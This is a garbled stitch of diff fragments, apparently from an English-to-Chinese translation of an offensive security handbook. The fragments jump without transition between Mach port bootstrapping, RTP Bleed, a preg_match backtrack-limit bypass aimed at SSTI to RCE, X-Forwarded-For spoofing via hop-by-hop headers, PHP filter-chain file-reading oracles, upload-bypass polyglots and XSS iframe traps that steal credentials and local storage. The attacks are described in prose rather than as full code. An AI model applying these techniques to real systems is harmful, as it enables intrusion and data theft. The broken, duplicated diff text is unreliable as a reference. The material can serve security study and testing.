When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows: +对于这些预定义服务，**查找过程略有不同**。当查找服务名称时，launchd 动态启动该服务。新的工作流程如下： -- Task **B** initiates a bootstrap **lookup** for a service name. -- **launchd** checks if the task is running and if it isn’t, **starts** it. -- Task **A** (the service) performs a **bootstrap check-in**. Here, the **bootstrap** server creates a SEND right, retains it, and **transfers the RECEIVE right to Task A**. -- launchd duplicates the **SEND right and sends it to Task B**. -- Task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** (the svc) so it can send messages to TASK B (bi-directional communication). +- 任务 **B** 发起对服务名称的引导 **查找**。 +- **launchd** 检查任务是否正在运行，如果没有，则 **启动** 它。 +- 任务 **A**（服务）执行 **引导检查**。在这里，**引导** 服务器创建一个发送权限，保留它，并 **将接收权限转移给任务 A**。 +- launchd 复制 **发送权限并将其发送给任务 B**。 +- 任务 **B** 生成一个带有 **接收** 权限和 **发送** 权限的新端口，并将 **发送权限授予任务 A**（服务），以便其可以向任务 B 发送消息（双向通信）。 -However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation. +然而，这个过程仅适用于预定义的系统任务。非系统任务仍然按照最初描述的方式操作，这可能会允许冒充。 -### A Mach Message +### 一个 Mach 消息 -[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) - -The `mach_msg` function, essentially a system call, is utilized for sending and receiving Mach messages.

Conversely, the **senders** are granted a _**send**_ or a _**send-once right**_. The send-once right is exclusively for sending a single message, after which it becomes invalid. - -In order to achieve an easy **bi-directional communication** a process can specify a **mach port** in the mach **message header** called the _reply port_ (**`msgh_local_port`**) where the **receiver** of the message can **send a reply** to this message. The bitflags in **`msgh_bits`** can be used to **indicate** that a **send-once** **right** should be derived and transferred for this port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). +为了实现简单的 **双向通信**，进程可以在名为 _reply port_ (**`msgh_local_port`**) 的 mach **消息头**中指定一个 **mach 端口**，接收该消息的 **接收者** 可以 **回复** 此消息。**`msgh_bits`** 中的位标志可以用来 **指示** 应该为此端口派生并转移一个 **一次性发送** **权**（`MACH_MSG_TYPE_MAKE_SEND_ONCE`）。 > [!TIP] -> Note that this kind of bi-directional communication is used in XPC messages that expect a replay (`xpc_connection_send_message_with_reply` and `xpc_connection_send_message_with_reply_sync`).

-> SPF [在 2014 年被“弃用”](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。这意味着您应该在 `domain.com` 中创建 **TXT 记录**，而不是在 `_spf.domain.com` 中创建，使用 **相同的语法**。\

 **发送方策略框架**（SPF）是一种机制，使邮件传输代理（MTA）能够通过查询组织定义的授权邮件服务器列表来验证发送电子邮件的主机是否被授权。该列表指定了 **被授权代表域名发送电子邮件的 IP 地址/范围、域名和其他实体**，并在 SPF 记录中包含各种“**机制**”。

 ### RTCPBleed 漏洞
 
-**RTCPBleed** 是一个主要的安全问题，影响基于 Asterisk 的 VoIP 服务器（发布于 2017 年）。该漏洞允许 **RTP（实时传输协议）流量**，即承载 VoIP 通话的流量，被 **互联网上的任何人拦截和重定向**。这发生的原因是 RTP 流量在通过 NAT（网络地址转换）防火墙时绕过了身份验证。
+**RTCPBleed** 是一个主要的安全问题，影响基于 Asterisk 的 VoIP 服务器（于 2017 年发布）。该漏洞允许 **RTP（实时传输协议）流量**，即承载 VoIP 通话的流量，被 **互联网上的任何人拦截和重定向**。这是因为 RTP 流量在通过 NAT（网络地址转换）防火墙时绕过了身份验证。
 
-RTP 代理尝试通过在两个或多个参与者之间代理 RTP 流来解决影响 RTC 系统的 **NAT 限制**。当 NAT 存在时，RTP 代理软件通常无法依赖通过信令（例如 SIP）获取的 RTP IP 和端口信息。因此，一些 RTP 代理实现了一种机制，使得这样的 **IP 和端口元组能够自动学习**。这通常是通过检查传入的 RTP 流量并将任何传入 RTP 流量的源 IP 和端口标记为应响应的来完成的。这种机制可能被称为“学习模式”，**不使用任何形式的身份验证**。因此，**攻击者** 可以 **向 RTP 代理发送 RTP 流量**，并接收原本应发送给正在进行的 RTP 流的呼叫者或被呼叫者的代理 RTP 流量。我们称这种漏洞为 RTP Bleed，因为它允许攻击者接收原本应发送给合法用户的 RTP 媒体流。

-RTP 代理和 RTP 堆栈的另一个有趣行为是，有时 **即使不易受 RTP Bleed 漏洞影响**，它们仍会 **接受、转发和/或处理来自任何源的 RTP 数据包**。因此，攻击者可以发送 RTP 数据包，这可能允许他们注入自己的媒体，而不是合法的媒体。我们称这种攻击为 RTP 注入，因为它允许将不合法的 RTP 数据包注入到现有的 RTP 流中。此漏洞可能在 RTP 代理和端点中发现。

 ## 介绍
 
-GraphQL被**强调**为REST API的**高效替代方案**，提供了一种简化的从后端查询数据的方法。与REST相比，REST通常需要在不同的端点之间进行多次请求以收集数据，而GraphQL则允许通过**单个请求**获取所有所需的信息。这种简化显著**有利于开发人员**，减少了他们的数据获取过程的复杂性。

-## GraphQL与安全

 简而言之，问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中，某些正则表达式通过大量递归调用进行匹配，这会消耗大量的栈空间。可以设置允许的递归次数限制，但在 PHP 中，这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)，这超过了栈的容量。
 
 [这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被链接，深入讨论了这个问题。我们的任务现在很明确：\
-**发送一个输入，使正则表达式进行 100_000+ 次递归，导致 SIGSEGV，使得 `preg_match()` 函数返回 `false`，从而使应用程序认为我们的输入不是恶意的，在有效负载的最后抛出一个类似 `{system()}` 的惊喜以获取 SSTI --> RCE --> flag :)**。

-好吧，从正则表达式的角度来看，我们实际上并没有进行 100k 次“递归”，而是计算“回溯步骤”，正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述，它在 `pcre.backtrack_limit` 变量中默认为 1_000_000（1M）。\

-- **SOAP/XML 漏洞**：探索 XXE 漏洞，尽管 DTD 声明通常受到限制。如果 XML 保持有效，CDATA 标签可能允许有效负载插入。
-- **权限提升**：测试具有不同权限级别的端点，以识别未授权访问的可能性。
-- **CORS 配置错误**：检查 CORS 设置，以寻找通过已认证会话的 CSRF 攻击的潜在利用可能性。
-- **端点发现**：利用 API 模式发现隐藏的端点。像模糊测试工具可以自动化此过程。
-- **参数篡改**：尝试在请求中添加或替换参数，以访问未授权的数据或功能。
-- **HTTP 方法测试**：更改请求方法（GET、POST、PUT、DELETE、PATCH），以发现意外行为或信息泄露。
-- **内容类型操控**：在不同的内容类型（x-www-form-urlencoded、application/xml、application/json）之间切换，以测试解析问题或漏洞。
-- **高级参数技术**：在 JSON 有效负载中测试意外数据类型，或玩弄 XML 数据以进行 XXE 注入。同时，尝试参数污染和通配符字符以进行更广泛的测试。
-- **版本测试**：较旧的 API 版本可能更容易受到攻击。始终检查并测试多个 API 版本。

 **这是文章的摘要** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)
 
 Hop-by-hop headers 是特定于单个传输级连接的，主要用于 HTTP/1.1 中管理两个节点（如客户端-代理或代理-代理）之间的数据，并不打算被转发。标准的 hop-by-hop headers 包括 `Keep-Alive`、`Transfer-Encoding`、`TE`、`Connection`、`Trailer`、`Upgrade`、`Proxy-Authorization` 和 `Proxy-Authenticate`，如 [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1) 中所定义。可以通过 `Connection` header 将其他 headers 指定为 hop-by-hop。
 
-### Abusing Hop-by-Hop Headers
+### 滥用 Hop-by-Hop Headers
 
 代理对 hop-by-hop headers 的不当管理可能导致安全问题。虽然代理应该删除这些 headers，但并非所有代理都这样做，从而产生潜在的漏洞。
 
-### Testing for Hop-by-Hop Header Handling
+### 测试 Hop-by-Hop Header 处理
 
 可以通过观察在特定 headers 被标记为 hop-by-hop 时服务器响应的变化来测试 hop-by-hop headers 的处理。工具和脚本可以自动化此过程，识别代理如何管理这些 headers，并可能揭示配置错误或代理行为。
 
 滥用 hop-by-hop headers 可能导致各种安全隐患。以下是几个示例，演示如何操纵这些 headers 进行潜在攻击：
 
-### Bypassing Security Controls with `X-Forwarded-For`
+### 通过 `X-Forwarded-For` 绕过安全控制
 
-攻击者可以操纵 `X-Forwarded-For` header 以绕过基于 IP 的访问控制。该 header 通常由代理用于跟踪客户端的源 IP 地址。然而，如果代理将此 header 视为 hop-by-hop 并在没有适当验证的情况下转发，攻击者可以伪造其 IP 地址。

 **攻击场景：**
 
 1. 攻击者向位于代理后面的 web 应用程序发送 HTTP 请求，在 `X-Forwarded-For` header 中包含一个虚假的 IP 地址。
 2. 攻击者还包括 `Connection: close, X-Forwarded-For` header，促使代理将 `X-Forwarded-For` 视为 hop-by-hop。
 3. 配置错误的代理将请求转发到 web 应用程序，而没有伪造的 `X-Forwarded-For` header。
-4. web 应用程序未看到原始的 `X-Forwarded-For` header，可能会将请求视为直接来自受信任的代理，从而可能允许未经授权的访问。

 ## 缓存中毒
 
-缓存中毒旨在操纵客户端缓存，强迫客户端加载意外、部分或在攻击者控制下的资源。影响的程度取决于受影响页面的受欢迎程度，因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
+缓存中毒旨在操纵客户端缓存，强迫客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度，因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。

-1. **识别未键入的输入**：这些是参数，尽管不是缓存请求所必需的，但可以改变服务器返回的响应。识别这些输入至关重要，因为它们可以被利用来操纵缓存。
-2. **利用未键入的输入**：在识别未键入的输入后，下一步是弄清楚如何滥用这些参数，以修改服务器的响应，从而使攻击者受益。

 ## 什么是 ViewState
 
-**ViewState** 是 ASP.NET 中用于在网页之间保持页面和控件数据的默认机制。在渲染页面的 HTML 时，页面的当前状态和在回发期间要保留的值被序列化为 base64 编码的字符串。这些字符串随后被放置在隐藏的 ViewState 字段中。

 ### 使用 php 过滤器作为 oracle 读取任意文件
 
-[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于使用 php 过滤器作为 oracle 的 **布尔外泄文件（逐字符）**。这是因为 php 过滤器可以用来使文本变得足够大，从而使 php 抛出异常。
+[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于使用 php 过滤器作为 oracle 的 **布尔文件外泄（逐字符）**。这是因为 php 过滤器可以用来使文本变得足够大，从而使 php 抛出异常。
 
 在原始文章中可以找到该技术的详细解释，但这里是一个快速总结：
 
 - 使用编码 **`UCS-4LE`** 将文本的前导字符留在开头，并使字符串的大小呈指数级增长。
-- 这将用于生成一个 **当初始字母正确猜测时变得如此庞大的文本**，以至于 php 会触发一个 **错误**。
+- 这将用于生成一个 **当初始字母正确猜测时非常大的文本**，以至于 php 会触发一个 **错误**。
 - **dechunk** 过滤器将 **删除所有内容，如果第一个字符不是十六进制**，因此我们可以知道第一个字符是否是十六进制。
-- 这与前一个（以及其他根据猜测字母的过滤器）结合，将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制，dechunk 不会删除它，初始炸弹将导致 php 错误。
+- 这与前一个（以及根据猜测字母的其他过滤器）结合，将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制，dechunk 不会删除它，初始炸弹将导致 php 错误。
 - 编码 **convert.iconv.UNICODE.CP930** 将每个字母转换为下一个字母（因此在此编码后：a -> b）。这使我们能够发现第一个字母是否是 `a`，例如，因为如果我们应用 6 次此编码 a->b->c->d->e->f->g，该字母不再是十六进制字符，因此 dechunk 不会删除它，php 错误被触发，因为它与初始炸弹相乘。
 - 使用其他转换如 **rot13** 在开头可以泄露其他字符如 n, o, p, q, r（其他编码可以用于将其他字母移动到十六进制范围）。
 - 当初始字符是数字时，需要对其进行 base64 编码并泄露前两个字母以泄露该数字。
-- 最后一个问题是查看 **如何泄露超过初始字母**。通过使用有序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序，并在文本的第一位置获取其他字母。
+- 最后一个问题是查看 **如何泄露超过初始字母**。通过使用有序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序，并在文本的首位获取其他字母。
 - 为了能够获取 **更多数据**，想法是 **在开头生成 2 字节的垃圾数据**，使用 **convert.iconv.UTF16.UTF16**，应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**，并 **删除数据直到垃圾数据**（这将删除初始文本的前 2 字节）。继续这样做，直到达到所需的泄露位。

 多语言文件的核心实用性在于它们能够绕过基于类型的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式（例如JS、PHP或Phar文件）带来的风险。然而，多语言文件通过符合多种文件类型的结构标准，可以悄然绕过这些限制。

-## Basic Information
+## 基本信息
 
-This form of abusing XSS via iframes to steal information from the user moving across the web page was originally published in these 2 post from trustedsec.com: [**here**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **and** [**here**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
+这种通过 iframe 滥用 XSS 来窃取用户在网页上移动时的信息的形式最初在 trustedsec.com 的这两篇文章中发布：[**这里**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **和** [**这里**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams)。
 
-The attack start in a page vulnerable to a XSS where it’s possible to make the **victims don’t leave the XSS** by making them **navigate within an iframe** that occupies all the web application.
+攻击开始于一个易受 XSS 攻击的页面，在这里可以让 **受害者不离开 XSS**，通过让他们 **在一个占据整个网页应用的 iframe 中导航**。
 
-The XSS attack will basically load the web page in an iframe in 100% of the screen. Therefore, the victim **won't notice he is inside an iframe**. Then, if the victim navigates in the page by clicking links inside the iframe (inside the web), he will be **navigating inside the iframe** with the arbitrary JS loaded stealing information from this navigation.
+XSS 攻击基本上会在 100% 的屏幕上加载网页到一个 iframe 中。因此，受害者 **不会注意到他在一个 iframe 中**。然后，如果受害者通过点击 iframe 内的链接（在网页内）进行页面导航，他将 **在 iframe 内导航**，使用加载的任意 JS 窃取此导航中的信息。
 
-Moreover, to make it more realistic, it’s possible to use some **listeners** to check when an iframe changes the location of the page, and update the URL of the browser with that locations the user things he’s is moving pages using the browser.
+此外，为了使其更真实，可以使用一些 **监听器** 来检查 iframe 何时更改页面的位置，并用用户认为他正在使用浏览器移动页面的那些位置更新浏览器的 URL。
 
 
https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png

 
 
https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png

 
-Moreover, it's possible to use listeners to steal sensitive information, not only the other pages the victim is visiting, but also the data used to **filled forms** and send them (credentials?) or to **steal the local storage**...
+此外，可以使用监听器来窃取敏感信息，不仅是受害者正在访问的其他页面，还有用于 **填写表单** 的数据并发送它们（凭据？）或 **窃取本地存储**...
 
-Ofc, the main limitations are that a **victim closing the tab or putting another URL in the browser will escape the iframe**. Another way to do this would be to **refresh the page**, however, this could be partially **prevented** by disabling the right click context menu every time a new page is loaded inside the iframe or noticing when the mouse of the user leaves the iframe, potentially to click the reload button of the browser and in this case the URL of the browser is updated with the original URL vulnerable to XSS so if the user reloads it, it will get poisoned again (note that this is not very stealth).
+当然，主要的限制是 **受害者关闭标签页或在浏览器中输入另一个 URL 将逃离 iframe**。另一种方法是 **刷新页面**，然而，这可能会通过在每次新页面加载到 iframe 内时禁用右键上下文菜单或注意用户的鼠标何时离开 iframe 来部分 **防止**，可能是为了点击浏览器的刷新按钮，在这种情况下，浏览器的 URL 会更新为原始的易受 XSS 攻击的 URL，因此如果用户刷新它，它将再次被污染（请注意，这并不是非常隐蔽）。

-HTTP 参数污染 (HPP) 是一种技术，攻击者通过操纵 HTTP 参数以意想不到的方式改变 Web 应用程序的行为。这种操纵是通过添加、修改或重复 HTTP 参数来实现的。这些操纵的效果对用户并不直接可见，但可以显著改变应用程序在服务器端的功能，并在客户端产生可观察的影响。

-请注意，尽管此改进使得在需要数百/数千个数据包同时到达的RC攻击中更可靠，但它也可能存在一些软件限制。一些流行的HTTP服务器，如Apache、Nginx和Go，将`SETTINGS_MAX_CONCURRENT_STREAMS`设置为100、128和250。然而，其他如NodeJS和nghttp2则没有限制。\

 这基本上意味着Apache将只考虑来自单个TCP连接的100个HTTP连接（限制了此RC攻击）。
